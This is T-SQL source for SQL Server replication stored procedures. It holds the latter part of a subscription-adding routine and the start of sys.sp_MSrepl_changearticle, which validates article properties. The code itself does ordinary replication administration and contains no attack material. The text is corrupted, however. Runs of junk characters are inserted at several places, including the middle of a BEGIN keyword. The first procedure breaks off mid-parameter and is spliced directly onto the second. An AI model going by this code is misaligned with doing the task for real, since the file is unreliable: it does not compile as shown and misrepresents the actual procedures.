    SELECT @internal = 'internal' /* Const: Flag of calling internally from system */
                                  /* stored procedures     */
    SELECT @publisher_db = DB_NAME()

	IF sys.fn_yukonsecuritymodelrequired(NULL) = 1
	BEGIN
		-- Set defaults for these AFTER ALL RECURSIVE Calls when in 9.0 model
	   	SELECT @enabled_for_syncmgr	= ISNULL(@enabled_for_syncmgr, N'false')
	END
	
    /* After 'all' being expanded, check to make sure that the article exists, 
    ** is not NULL, and conforms to the rules for identifiers.
    */
    /*
    EXECUTE @retcode = sys.sp_validname @article
    IF @retcode <> 0
    RETURN (1)
    */

    declare @dest_owner sysname

    SELECT @artid = artid, @pre_creation_cmd = pre_creation_cmd,
        @dest_owner = dest_owner
    FROM sysextendedarticlesview
    WHERE name = @article
    AND pubid = @pubid

    IF NOT EXISTS (SELECT *
                             FROM sysextendedarticlesview
                            WHERE artid = @artid
                              AND pubid = @pubid)
        BEGIN
            RAISERROR (20027, 11, -1, @article)
            RETURN (1)
        END


    /*
    ** If the subscriber is an ODBC DSN, do not allow subscriptions to
    ** articles with a "truncate" pre_creation_cmd.
    */
    IF @non_sql_flag <> 0 AND @pre_creation_cmd = @truncate
        BEGIN
            RAISERROR (14094, 16, -1, @article, @subscriber)
            RETURN (1)
        END

   /*
   ** Parameter Check: @sync_type.
   ** Set sync_typeid based on the @sync_type specified.
   **
   **   sync_typeid     sync_type
   **   ===========     =========
   **             0     manual
   **             1     automatic
   **             2     none
   */


   IF LOWER(@sync_type collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('automatic', 'manual', 'none', 'autonosync', 'autonosync with backup', 'autonosync with lsn')
       BEGIN
           RAISERROR (14052, 16, -1)
           RETURN (1)
       END

   IF LOWER(@sync_type collate SQL_Latin1_General_CP1_CS_AS) = 'manual'
       BEGIN
           RAISERROR (14123, 16, -1)
           RETURN (1)
       END


   IF LOWER(@sync_type collate SQL_Latin1_General_CP1_CS_AS) = 'automatic'
   BEGIN
        SELECT @sync_typeid = @automatic
   END
   ELSE
   BEGIN
        SELECT @sync_typeid = @none
   END


    /*
    ** Parameter Check: @status
    ** If the publication is immediate_sync type and sync_type is automatic
    ** the status has to be NULL.
    ** Note for 6x backward compatibility, don't do the check for non immediate_sync
    ** publication
    */
    IF @immediate_sync = 1 and @sync_typeid = @automatic AND 
        @status IS NOT NULL
    BEGIN
          RAISERROR (14129, 16, -1)
          RETURN (1)
    END

    /*
    ** Parameter Check:  @loopback_detection
    */
    IF @loopback_detection is not null and LOWER(@loopback_detection collate SQL_Latin1_General_CP1_CS_AS) 
        NOT IN ('true', 'false')
    BEGIN
        RAISERROR (14148, 16, -1, '@loopback_detection')
        RETURN (1)
    END

    IF  LOWER(@loopback_detection collate SQL_Latin1_General_CP1_CS_AS) = 'true'  
        SELECT @loopback_detection_id = 1
    ELSE IF LOWER(@loopback_detection collate SQL_Latin1_General_CP1_CS_AS) = 'false' 
        SELECT @loopback_detection_id = 0
    ELSE 
    begin
        -- if the subscriber is SQL Server and @loopback_detection is null, by default we will enable it
		IF @non_sql_flag = 0
			select @loopback_detection_id = 1
			
        -- if the subscriber is not SQL Server and @loopback_detection is null, by default we will disable it
		else
			select @loopback_detection_id = 0
			
        /*
        -- turn on loopback detection for sync and queued
        if @update_mode_id in (1,2,3,4,5,6,7) 
            select @loopback_detection_id = 1
        else
            select @loopback_detection_id = 0
        */
    end

    select @dts_package_enc_password = @dts_package_password
    if @dts_package_password is not null
    begin
        EXEC @retcode = sys.sp_MSreplencrypt @dts_package_enc_password OUTPUT
        IF @@error <> 0 OR @retcode <> 0
            return 1
    end
    
    /* 
    ** Do special things for DSN subscribers.
    */
    IF @subscriber IS NOT NULL AND @non_sql_flag <> 0
    BEGIN
        --IF EXISTS ( select * from sysextendedarticlesview sa, syspublications sp
                    --where sa.pubid = sp.pubid 
                    --and sp.name = @publication
                    --and sa.name = @article
       !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(YFv]             --and ( ins_cmd like '%call%' or upd_cmd like '%call%' or del_cmd like '%call%' ) )
        --BEGIN
            --RAISERROR(21051, 16, -1, @subscriber)
            --RETURN (1)
        --END
            
        declare @art_status tinyint
		SELECT	@art_status = sa.status
		FROM	sysarticles sa,
				syspublications sp
		WHERE	sa.pubid = sp.pubid 
		  AND	sa.name  = @article
		  AND	sa.pubid = @pubid

        -- OLEDB or ODBC subscribers can not subscriber to article with subscriber managed
        -- timestamp column
        if @art_status & 32 = 32
        begin
            raiserror(21249, 16, -1, @article, @publication)
            return (1)
        end
    END

    --
    -- For updating subscriptions (immediate)
    -- Check if there exists an subscription to the same
    -- dest_db which contain at least one article which has 
    -- the same source_table as the current article - 
    -- If yes then raise a warning
    -- NOTE : this restriction is due to the fact that loopback
    -- detection happens at database level and hence for updating
    -- subscriptions, we can lose the updates made in one subscription
    -- w.r.t. the other subscription
    --
    if (@update_mode_id = 1)
    begin
        if exists (select * from dbo.syssubscriptions 
            where srvid = @srvid and dest_db = @destination_db and artid in 
                (select artid from dbo.sysarticles 
                    where objid = (select objid from sysarticles where artid = @artid)))
        begin
            raiserror(21293, 10, 1, @article, @destination_db)
        end
    end
   
    /*
    ** Add subscription to syssubscriptions
    */
    begin tran
    save TRAN addsubscription
    /*
    ** If no subscription exists, add it to syssubscriptions.
    */
    
    IF NOT EXISTS (SELECT *
                     FROM syssubscriptions s
                    WHERE (@subscriber IS NULL and s.srvid = @srvid or (@subscriber IS not NULL) and s.srvname = UPPER(@subscriber)) 
                      AND artid = @artid
                      AND dest_db = @destination_db )--or @non_sql_flag <> 0))
        BEGIN
       INSERT syssubscriptions (artid,
                                    srvid,
                                    dest_db,
                                    login_name,
                                    status,
                                    sync_type,
                                    subscription_type,
                                    distribution_jobid,
                                    update_mode,
                                    loopback_detection,
                                    queued_reinit
                                    ,srvname
                                    )
       VALUES (@artid,
                   isnull(@srvid,0),
                   @destination_db,    
                   suser_sname(suser_sid()),
                   @inactive,
                   @sync_typeid,
                   @subscription_type_id,
                   0,
                   @update_mode_id,
                   @loopback_detection_id,
                   1
                   ,isnull(UPPER(@subscriber), N'')
                   )

       IF @@ERROR <> 0
           BEGIN
                RAISERROR (14057, 16, -1)
                goto UNDO
           END
        END
    ELSE
       BEGIN
          RAISERROR (14058, 16, -1)
          goto UNDO
       END

    /*
    ** If the @status was not provided determine the default value.
    ** If the @sync_type = 'none' then the subscription defaults to 'active'.
    ** Else the subscription defaults to 'subscribed'.
    */
    IF @status IS NULL
    BEGIN
        IF @sync_typeid = @none  
            SELECT @status = 'active'
        ELSE
            SELECT @status = 'subscribed'
    END


    /*
    ** Set publication subscription status.
    */
    -- NOTE:  Internally, we can call sp_MSrepl_changesubstatus rather than 
    --        sp_changesubstatus. In all cases, we are already executing in 
    --        the correct database context.  Calling sp_changesubstatus is not
    --        needed to possibly force a context change for heterogeneous publishers.  
    EXEC @retcode = sys.sp_MSrepl_changesubstatus
    @publication = @publication,
    @article     = @article,
    @subscriber  = @subscriber,
    @status      = @status,
    @destination_db = @destination_db,
    @frequency_type  = @frequency_type,
    @frequency_interval  = @frequency_interval,
    @frequency_relative_interval  = @frequency_relative_interval,
    @frequency_recurrence_factor  = @frequency_recurrence_factor,
    @frequency_subday  = @frequency_subday,
    @frequency_subday_interval  = @frequency_subday_interval,
    @active_start_time_of_day  = @active_start_time_of_day,
    @active_end_time_of_day  = @active_end_time_of_day,
    @active_start_date  = @active_start_date,
    @active_end_date  = @active_end_date,
    @optional_command_line = @optional_command_line,
    @distribution_jobid = @distribution_jobid OUTPUT,
    @dts_package_name = @dts_package_name,
    @dts_package_password = @dts_package_enc_password,
    @dts_package_location = @dts_package_location_id,
    @distribution_job_name = @distribution_job_name,
    @publisher = @publisher,
    @publisher_type = @publisher_type
 
    IF @@error <> 0 OR @retcode <> 0
    BEGIN
       RAISERROR (14057, 16, -1)
		goto UNDO
    END

    UPDATE syssubscriptions SET 
        distribution_jobid = @distribution_jobid where
        artid = @artid AND
        srvname = UPPER(@subscriber) AND
        dest_db = @destination_db            

    IF @@error <> 0
    BEGIN
		goto UNDO
    END
    
    -- For heterogeneous subscribers, the MSdistribution_agents table needs to be updated with the correct
    -- subscriber type.   	
   	IF @subscriber_type <> 0
	BEGIN	
   		-- Update the corresponding entry in MSdistribution_agents table with the
   		-- subscriber type.

		EXEC @retcode = sys.sp_MSrepl_getdistributorinfo	@publisher		= @publisher_local,
													@rpcsrvname		= @distributor OUTPUT,
													@distribdb		= @distribdb   OUTPUT

		IF @@error <> 0 OR @retcode <> 0 OR @distribdb IS NULL OR @distributor IS NULL
		BEGIN
			RAISERROR (14071, 16, -1)
			goto UNDO
		END
		    
		SELECT @distproc = QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(RTRIM(@distribdb)) + '.sys.sp_MSchange_distribution_agent_properties'	
		EXEC @retcode = @distproc @publisher		= @publisher_local,
									@publisher_db	= @publisher_db,
									@publication 	= @publication,
									@subscriber 	= @subscriber,
									@subscriber_db	= @destination_db,
									@property		= N'subscriber_type',
									@value			= @subscriber_type
		IF @@error <> 0 OR @retcode <> 0
		BEGIN
			-- Unable to update subscriber_type in MSdistribution_agents table.
			RAISERROR (14045, 16, -1)
			goto UNDO
		END
	END	

	--
	--by now there should be a corresponding entry in MSdistribution_agents table
	--let's see if we need to change the subscriptionstreams property
	--
	if (@subscriptionstreams is not null)
	BEGIN
		declare @strStreams varchar(12)
		
		set @strStreams = cast(@subscriptionstreams as varchar(12))

		-- Subscriptions streams now supported for Oracle publishing
		--IF NOT @publisher_type = N'MSSQLSERVER' 
		--begin 
		--	RAISERROR (21634, 16, -1, '@subscriptionstreams', @strStreams, 'NULL or 0')
		--	goto UNDO
		--end

		if (@subscriptionstreams < 1 or @subscriptionstreams > 64)
		begin
			RAISERROR(14198, 16, -1, '@subscriptionstreams', '1..64')
			goto UNDO
		end

		    
		EXEC @retcode = sys.sp_MSrepl_getdistributorinfo	@publisher		= @publisher_local,
													@rpcsrvname		= @distributor OUTPUT,
													@distribdb		= @distribdb   OUTPUT

		IF @@error <> 0 OR @retcode <> 0 OR @distribdb IS NULL OR @distributor IS NULL
		B!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(YFv]EGIN
			RAISERROR (14071, 16, -1)
			goto UNDO
		END

		SELECT @distproc = QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(RTRIM(@distribdb)) + '.sys.sp_MSchange_distribution_agent_properties'	
		EXEC @retcode = @distproc @publisher		= @publisher_local,
									@publisher_db	= @publisher_db,
									@publication 	= @publication,
									@subscriber 	= @subscriber,
									@subscriber_db	= @destination_db,
									@property		= N'subscriptionstreams',
									@value			= @strStreams
		IF @@error <> 0 OR @retcode <> 0
		BEGIN
			RAISERROR (14071, 16, -1)
			goto UNDO
		END
	END

    /*
    ** If possible, activate the real subscriptions on immediate_sync publication
    ** immediately. Also, activate the virtual subscriptions on 
    ** anonymous publications immediately.
    ** We change the subscription status from 'subscribed' to 'active' so that 
    ** sp_MSupdate_subscription will be called, which will set the subscription's
    ** xactid_ts to the snapshot xactid_ts of virtual subscriptions. This means that
    ** we have to call sp_changesubstatus again here. We can not combine two calls 
    ** into ONE !!!
    **
    ** Activate the subscription immediately if 
    ** 1. The publication is immediate_sync type
    ** 2. sync_type is 'automatic'
    ** AND
    ** 1. The subscription is real
    ** 2. The snapshot has completed once
    ** 3. The subscription is the last subscription added to the publication (subscription for
    ** the last article). This is to guarantee the subscription status of all the articles
    ** in the publication be activate in one transaction at the distributor. This is
    ** to prevent the distribution agent from picking up partial subscriptions. 
    ** Note that this SP will be called with @article = 'all'
    ** OR
    ** 1. The publication is active
    ** 2. The publication is allow_anonymous
    ** 3. The subscription is virtual
    ** 
    */
    
    IF  @sync_typeid = @automatic AND @immediate_sync = 1 AND
        
        ((@srvid <> @virtual_id AND 
        @immediate_sync_ready = 1 AND
        NOT EXISTS (select * from sysextendedarticlesview art where
                    art.pubid = @pubid and
                    not exists (select * from syssubscriptions sub
                        where sub.artid = art.artid and
                              sub.srvname = UPPER(@subscriber) and
                              ((@destination_db = N'%') OR (sub.dest_db = @destination_db))))) OR

        (@pubstatus = 1 and @srvid = @virtual_id and @allow_anonymous = 1))
    BEGIN
        DECLARE @article_ex sysname
        IF @srvid <> @virtual_id
            SELECT @article_ex = '%'
        ELSE
            SELECT @article_ex = @article

        /*
        ** Set publication subscription status.
        */
        EXEC @retcode = sys.sp_MSrepl_changesubstatus
        @publication = @publication,
        @article     = @article_ex,
        @subscriber  = @subscriber,
        @status      = 'active',
        @destination_db = @destination_db,
        @publisher = @publisher,
        @publisher_type = @publisher_type
        IF @@error <> 0 OR @retcode <> 0
        BEGIN
            if @@trancount > 0
            begin
                ROLLBACK TRAN  addsubscription
                commit tran
            end
           RAISERROR (14057, 16, -1)
           RETURN (1)
        END
    END

    /*
    ** If the virtual subscriptions have been initiated for the 
    ** "first" time, try initiating this "real" subscription as well.
    */
    if @immediate_sync = 1 and @sync_typeid = @automatic and @sync_method in (3,4) and
       (@srvid <> @virtual_id and
        @immediate_sync_ready <> 1 and
        not exists 
            (select * 
               from sysextendedarticlesview art
              where art.pubid = @pubid 
                and exists 
                    (select * 
                       from syssubscriptions sub
                      where sub.artid = art.artid
                        and sub.srvid = @virtual_id
                        and sub.status <> 3)) and  -- All virtual subscriptions have been initiated
        not exists
            (select * 
               from sysextendedarticlesview art
              where art.pubid = @pubid 
                and not exists
                    (select * 
                       from syssubscriptions sub
                      where sub.artid = art.artid
                        and sub.srvname = UPPER(@subscriber) 
                        and ((@destination_db = N'%') OR (sub.dest_db = @destination_db)))))
    begin
        exec @retcode = sys.sp_MSrepl_changesubstatus
                @publication    = @publication,
                @article        = N'%',
                @subscriber     = @subscriber,
                @status         = 'initiated',
                @destination_db = @destination_db,
                @publisher      = @publisher,
                @publisher_type = @publisher_type

        if @@error <> 0 or @retcode <> 0
        begin        
            if @@trancount > 0
            begin
                rollback tran addsubscription
                commit tran
            end
            raiserror (14057, 16, -1)
            return (1)
       end
    end

	IF sys.fn_yukonsecuritymodelrequired(NULL) = 0
	BEGIN	
	    /* Conditional support for MobileSync */
	    if LOWER(@enabled_for_syncmgr collate SQL_Latin1_General_CP1_CS_AS) = 'true'
	    BEGIN
	        /* MobileSync Support */
	        declare @distributor_server                 sysname
	        declare @distributor_security_mode          int
	        declare @distributor_login                  sysname
	        declare @distributor_password               sysname
	        /* 
	        ** The registry entry needs to be created only for push subscriptions -  
	        ** i.e - need not be called when a pull subscription is created at the 
	        ** subscriber and sp_addmergesubscription is being called then.
	        */
	        IF LOWER(@subscription_type collate SQL_Latin1_General_CP1_CS_AS) = 'push'
	        BEGIN
	            EXECUTE @retcode = sys.sp_MSrepl_getdistributorinfo
					@publisher   = @publisher,
	                @distributor = @distributor_server OUTPUT               /* Distributor RPC server name */

	            IF @@ERROR <> 0 or @retcode <> 0
	                BEGIN
	                    if @@trancount > 0
	                        ROLLBACK TRAN  addsubscription
	                    RAISERROR (14057, 16, -1)
	                    RETURN (1)
	                END

	            -- Always use integrated security on winNT
	            set @distributor_security_mode = 1

	            /* Call sp_MSregistersubscription so that the subscription can be synchronized via Onestop etc. */
	            declare @subscription_id uniqueidentifier
	            set @subscription_id = convert(uniqueidentifier, @distribution_jobid)
	            exec @retcode = sys.sp_MSregistersubscription @replication_type = 1,
	                                    @publisher = @publisher_local,
	                                    @publisher_db = @publisher_db,
	                                    @publication = @publication,
	                                    @subscriber = @subscriber,
	                                    @subscriber_db = @destination_db,
	                                    @distributor = @distributor_server,
	                                    @distributor_security_mode = @distributor_security_mode,
	                                    @distributor_login = @distributor_login,
	                                    @distributor_password = @distributor_password,
	                                    @subscription_id = @subscription_id,
	                                    @independent_agent = @independent_agent_id,
	                                    @sub!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(F7᡼vdcreate procedure sys.sp_MSrepl_changearticle
(
    @publication				sysname,
    @article					sysname,
    @property					nvarchar(100),
    @value						nvarchar(386),
    @force_invalidate_snapshot	bit,
    @force_reinit_subscription	bit,
    @publisher					sysname,
    @publisher_type				sysname
)
AS
BEGIN
    SET NOCOUNT ON

    /*
    ** Declarations.
    */

    DECLARE @artid int
            ,@cmd1 nvarchar(512)
            ,@cmd2 nvarchar(512)
            ,@db sysname
            ,@filter int
            ,@object sysname
            ,@owner sysname
            ,@pubid int
            ,@retcode int
            ,@site sysname
            ,@sync_objid int
            ,@typeid tinyint
            ,@old_typeid tinyint
            ,@precmdid tinyint
            ,@active tinyint
            ,@virtual_id smallint
            ,@article_type tinyint
            ,@repl_freq int
            ,@colname sysname
            ,@objid    int
            ,@objtype  nchar(2)
            ,@old_filter_name sysname

            ,@distributor sysname
            ,@distribdb sysname
            ,@dbname sysname
            ,@distproc nvarchar (255)
            ,@dts_part nvarchar(50)
            ,@no_dts_part nvarchar(50)
            ,@backward_comp_level int
            ,@allow_dts bit
            ,@allow_queued_tran bit
            ,@allow_sync_tran bit
            ,@allow_initialize_from_backup bit
            ,@increment_min_autonosync_lsn bit
            ,@srvname sysname
            ,@pubstatus tinyint
            ,@options int
            ,@for_p2p_ddl int
            ,@auto_gen int
            ,@fire_triggers_on_snapshot bit
            ,@customprocmaxlen_minus_ccs_appendix smallint 
            ,@timestampcolumn sysname
			,@destination_owner sysname
			,@prependDBO bit

	DECLARE @OPT_ENABLED_FOR_P2P int	
	SELECT @OPT_ENABLED_FOR_P2P = 0x1
	
    select @backward_comp_level = 10 -- default to sphinx
            ,@dts_part = N'dts horizontal partitions'
            ,@no_dts_part = N'no dts horizontal partitions'
            ,@active = 2
            ,@virtual_id = -1
            ,@increment_min_autonosync_lsn = 0
            ,@srvname = publishingservername()
            ,@customprocmaxlen_minus_ccs_appendix = 117 -- (128-11)
			,@prependDBO = 0

	IF (@publisher_type != N'MSSQLSERVER')
	BEGIN
		-- Set servername to publisher when HREPL
		SET @srvname = @publisher
	END

    /*
    ** Security Check
    */
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@ERROR <> 0 or @retcode <> 0
        return(1)

    /*
    ** Check to see if the database has been activated for publication.
    */

    IF sys.fn_MSrepl_istranpublished(DB_NAME(),1) <> 1
    BEGIN
        RAISERROR (14013, 16, -1)
        RETURN (1)
    END

    /*
    ** Parameter Check:  @publication.
    ** Make sure that the publication exists.
    */

    IF (@publication IS NULL)
    BEGIN
        RAISERROR (14043, 16, -1, '@publication', 'sp_MSrepl_changearticle')
        RETURN (1)
    END

	-- Get publication id
	SELECT @pubid = sys.fn_MSrepl_getpubid(@publication, @publisher, @publisher_type)

    IF @pubid IS NULL
    BEGIN
        RAISERROR (20026, 11, -1, @publication)
        RETURN (1)
    END

	SELECT	@pubstatus						= status,
			@repl_freq						= repl_freq,
			@allow_dts						= allow_dts,
			@allow_sync_tran				= allow_sync_tran,
			@allow_queued_tran				= allow_queued_tran,
			@allow_initialize_from_backup	= allow_initialize_from_backup,
			@options						= options
	FROM	syspublications
	WHERE	pubid = @pubid

    /*
    ** Check to see that the article exists in sysextendedarticlesview.
    ** Fetch the article identification number.
    */

    IF @article IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@article', 'sp_MSrepl_changearticle')
        RETURN (1)
    END

	-- NOTE: HREPL doesn't support autogen/schema replication
	--       @auto_gen should *always* be 0 for HREPL
    SELECT	@artid				= artid, 
			@article_type		= type, 
			@objid				= objid,
			@destination_owner	= dest_owner,
			@auto_gen			= CASE
									WHEN @publisher_type = N'MSSQLSERVER' THEN (convert(int, schema_option) & 0x2)
									ELSE 0
									END
    FROM	sysextendedarticlesview
    WHERE	name = @article
	  AND	pubid = @pubid

    IF @artid IS NULL
    BEGIN
        RAISERROR (20027, 11, -1, @article)
        RETURN (1)
    END


	IF (@publisher_type = N'MSSQLSERVER')
	BEGIN
		-- Get the object type
		SELECT	@objtype = type
		FROM	sys.objects
		WHERE	object_id = @objid

		IF @objtype IS NULL
		BEGIN
			RAISERROR( 20027, 11, -1, @article )
			RETURN( 1 )
		END
	END
	ELSE
	BEGIN
		-- All HREPL objects are treated as user tables
		SET @objtype = 'U'
	END

    /*
    ** Parameter Check:  @property.
    ** If the @property parameter is NULL, print the options.
    */

    IF @property IS NULL
        BEGIN
            CREATE TABLE #tab1 (properties sysname collate database_default not null)
            INSERT INTO #tab1 VALUES ('description')
            INSERT INTO #tab1 VALUES ('sync_object (log based article only)')
            INSERT INTO #tab1 VALUES ('type')
            INSERT INTO #tab1 VALUES ('ins_cmd (log based article only)')
            INSERT INTO #tab1 VALUES ('del_cmd (log based article only)')
            INSERT INTO #tab1 VALUES ('upd_cmd (log based article only)')
            INSERT INTO #tab1 VALUES ('filter (log based article only)')
            INSERT INTO #tab1 VALUES ('dest_table (log based article only)')
            INSERT INTO #tab1 VALUES ('dest_object')
            INSERT INTO #tab1 VALUES ('creation_script')
            INSERT INTO #tab1 VALUES ('pre_creation_cmd')
            INSERT INTO #tab1 VALUES ('status')
            INSERT INTO #tab1 VALUES ('schema_option')
            INSERT INTO #tab1 VALUES ('destination_owner')
            INSERT INTO #tab1 VALUES ('pub_identity_range (log based article only)')
            INSERT INTO #tab1 VALUES ('identity_range (log based article only)')
            INSERT INTO #tab1 VALUES ('threshold (log based article only)')
            INSERT INTO #tab1 VALUES ('tablespace')
            INSERT INTO #tab1 VALUES ('fire_triggers_on_snapshot (log based article only)')
            PRINT ''
            SELECT * FROM #tab1
            RETURN (0)
        END

    -- Pre-lower @property so we don't have to lower it dynamically below
    SELECT @property = LOWER(@property collate SQL_Latin1_General_CP1_CS_AS)

    /*
    ** (!!All of the following restrictions are temporarily lifted) 
    ** Enforce automated nosync subscription restrictions
    ** i) No horizontal partitioning
    ** ii) Dest. object name cannot be different from source
    ** iv) Dest. owner name cannot be different from source
    */ 
--    IF @allow_initialize_from_backup = 1
--    BEGIN
--
--        -- i) 
--        IF @property = N'type' AND LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) IN
--                                        ('logbased manualfilter', 
--                                         'logbased manualview', 
--                                         'logbased manualboth') OR
--           @property = N'filter' AND @value IS NOT NULL AND RTRIM(@value) <> N'' OR
--           @property = N'sync_object' AND OBJECT_ID(@value) <> @objid
--        BEGIN
--            RAISERROR (18792, 16, -1)
--            RETURN (1)
--        END
--        -- ii)
--        IF (@property = N'dest_table' OR @property = N'dest_object') AND @value <> OBJECT_NAME(@objid)
--        BEGIN
--            RAISERROR (18791, 16, -1)
--            RETURN (1)
--        END
--        
--        -- iii)                                
--        IF @property = N'destination_owner' AND @value <> schema_name(OBJECTPROPERTY(@objid, 'SchemaId'))
--        BEGIN
--            RAISERROR (18791, 16, -1!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(Fvd)
--            RETURN (1)
--        END
--    END

	/* 
		Only allow the call format to be changed as it does not require a reinit.
	*/
	SELECT @for_p2p_ddl = @options & @OPT_ENABLED_FOR_P2P
	IF @for_p2p_ddl = @OPT_ENABLED_FOR_P2P
	BEGIN
		IF @property NOT IN ('description',
								'ins_cmd', 
								'del_cmd', 
								'upd_cmd')
		BEGIN
			-- The property '@property' cannot be modified for Peer-To-Peer publications.
			RAISERROR(20647, 16, -1, @property)
			RETURN (1)
		END

		IF @property IN ('ins_cmd', 
							'del_cmd', 
							'upd_cmd')
			AND LEFT(UPPER(LTRIM(@value)), 3) IN (N'SQL')
		BEGIN
			-- Peer-To-Peer publications do not support 'SQL' command type. Please change the '@value' parameter value.
			RAISERROR(20646, 16, -1, '''SQL'' Command Type',  '@value')
			RETURN (1)
		END
	END
	
    /*
    ** Increment the publication's min. autonosync lsn if filtering properties
    ** are changed or the destination object/owner name is changed
    */
    IF @allow_initialize_from_backup = 1
    BEGIN
        IF @property IN ('ins_cmd', 
                         'del_cmd', 
                         'upd_cmd', 
                         'filter',
                         'type', 
                         'sync_object',
                         'dest_table',
                         'dest_object',
                         'destination_owner'
                         )
        BEGIN
            SELECT @increment_min_autonosync_lsn = 1
        END
    END

    /*
    ** At this point, we have completed all the validations and 
    ** preprocessings common to both regular and schema only articles 
    ** so we call a different proceudre here to handle the schema only
    ** articles differently.
    */
    
    IF @article_type in (0x20, 0x40, 0x60, 0xA0, 0x80)
    BEGIN
        EXEC @retcode = sys.sp_MSchangeschemaarticle 
                @pubid = @pubid,
                @artid = @artid,
                @property = @property,
                @value = @value    
        RETURN @retcode
    END  

    IF @objtype = 'U' AND @property NOT IN 
                                        ('description',
                                         'sync_object',
                                         'type',
                                         'ins_cmd',
                                         'del_cmd',
                                         'upd_cmd',
                                         'filter',
                                         'dest_table',
                                         'dest_object',
                                         'creation_script',
                                         'pre_creation_cmd',
                                         'status',
                                         'schema_option',
                                         'destination_owner',
                                         'pub_identity_range',
                                         'identity_range',
                                         'threshold',
                                         'tablespace',
                                         'fire_triggers_on_snapshot')
	BEGIN
		RAISERROR (21183, 16, -1, @property)
		RETURN (1)
	END

    IF @objtype = 'P' AND @property NOT IN 
                            ('description',
                             'dest_object',
                             'dest_table',
                             'creation_script',
                             'pre_creation_cmd',
                             'schema_option',
                             'destination_owner')
        BEGIN
            RAISERROR (14110, 16, -1)
            RETURN (1)
        END

    /* dest_object and 'dest_table' are same */
    IF @property = 'dest_object'
        SELECT @property = 'dest_table' 

	-- Validate HREPL-only properties
	IF @publisher_type NOT LIKE N'ORACLE%'
	BEGIN
		IF @property = 'tablespace'
		BEGIN
			RAISERROR(21737, 16, -1, @property, @publisher_type)
			RETURN (1)
		END
	END
	
	-- Validate property combinations for HREPL
	IF @publisher_type != N'MSSQLSERVER'
	BEGIN
		IF (@property IN ('dest_table', 'schema_option', 'destination_owner', 'status', 'pre_creation_cmd')
			OR (@property IN ('ins_cmd', 'del_cmd', 'upd_cmd', 'filter') AND (@pubstatus = 1)))
			AND (@force_invalidate_snapshot = 0 OR @force_reinit_subscription = 0)
		BEGIN
			RAISERROR(21772, 16, -1, @property)
			RETURN (1)
		END
		
		IF (@property IN ('tablespace') AND @repl_freq = 1)
		BEGIN
			RAISERROR(21738, 16, -1, @property, 'snapshot')
			RETURN (1)
		END
		
		-- Verify that sp_articleview has been called to insure that
		-- the log table has been created and exists to be moved
		IF (@property IN ('tablespace') AND
			NOT EXISTS (SELECT * FROM dbo.IHarticles WHERE article_id = @artid AND publisher_status = 1)
			)
		BEGIN
			RAISERROR(21739, 16, -1, @property)
			RETURN (1)
		END
	END
		
    --
    -- Processing for custom stored procedures
    --
    IF @property IN ('ins_cmd', 'del_cmd', 'upd_cmd' )
    begin
        if (@allow_dts = 1)
        begin
            --
            -- For DTS enabled publications the custom procedure are autogenerated 
            -- and cannot be changed
            --
            raiserror(21175, 16, -1)
            return (1)
        end
        else if (@allow_queued_tran = 1 or @allow_sync_tran = 1)
        begin
            --
            -- Updating subscribers
            -- INS/UPD/DEL format is CALL/VCALL/VCALL 
            -- we will allow XCALL for UPD/DEL for backwards compatibility
            --
            declare @newcmd nvarchar(255)
            
            --
            -- validate custom command
            --
            select @newcmd = case 
                            when (@value is not null and @property = 'ins_cmd' and (upper(left(@value, 5)) = N'CALL') ) then @value
                            when (@value is not null and @property = 'upd_cmd' and (upper(left(@value, 5)) in (N'XCALL', N'VCALL')) ) then @value
                            when (@value is not null and @property = 'del_cmd' and (upper(left(@value, 5)) in (N'XCALL', N'VCALL')) ) then @value
                            else NULL end
            if (@newcmd is null)
            begin
                --
                -- specified invalid value for the property for updating subscribers
                --
                raiserror(21344, 16, 1, @property)
                return (1)
            end
        end -- if (@allow_queued_tran = 1 or @allow_sync_tran = 1)
    end -- if @property IN ('ins_cmd', 'del_cmd', 'upd_cmd' )
    
    /*
    ** Check to make sure that we have a valid type for status
    */
    IF @property = 'status'
    BEGIN
        IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) IN ('not owner qualified', 'owner qualified')
        BEGIN
            RAISERROR (21023, 16, -1,@value)
            RETURN (1)
        END

        IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('none', 'no column names', 'include column names', 'string literals', 'parameters',
            @dts_part, @no_dts_part )
        BEGIN
            RAISERROR (14097, 16, -1)
            RETURN (1)
        END

        IF  LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) in (@dts_part,@no_dts_part)
        begin
            if @allow_dts = 0
            begin
                -- Invalid status for non dts pub
                raiserror(20592, 16, -1)
                RETURN (1)
            end
        end
        else
        begin
            if @allow_dts = 1
            begin
                -- Invalid status for dts pub
                raiserror(20591, 16, -1)
                RETURN (1)
            end
        end
    END
    
    IF @property IN ( 'ins_cmd', 'del_cmd', 'upd_cmd' )	
		AND @publisher_type != N'MSSQLSERVER'
  !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(F(Ymvd  BEGIN
        /*
        ** Parameter Check:  @ins_cmd, @del_cmd, @upd_cmd
        ** Check to see that the cmd is valid
        */
        select @value = rtrim(ltrim(@value))
        if @property = 'ins_cmd' and @value is not null 
			and sys.fn_MSrepltranparsecmdtype(@value) not in (N'', N'NONE', N'SQL', N'CALL ')
        begin
            -- Invalid '@ins_cmd' specified. It must be NONE, SQL, CALL sp_MSins_article or CALL custom_stored_procedure_name.
            raiserror (15251, 16, 1, '@ins_cmd', 'NONE, SQL, CALL sp_MSins_article or CALL custom_stored_procedure_name')
            return 1
        end
        else if @property = 'del_cmd' and @value is not null 
        	and sys.fn_MSrepltranparsecmdtype(@value) not in (N'', N'NONE', N'SQL', N'CALL ', N'XCALL')
        begin
            -- Invalid '@del_cmd' specified. It must be NONE, SQL, CALL sp_MSdel_article, XCALL sp_MSdel_article or CALL custom_stored_procedure_name.
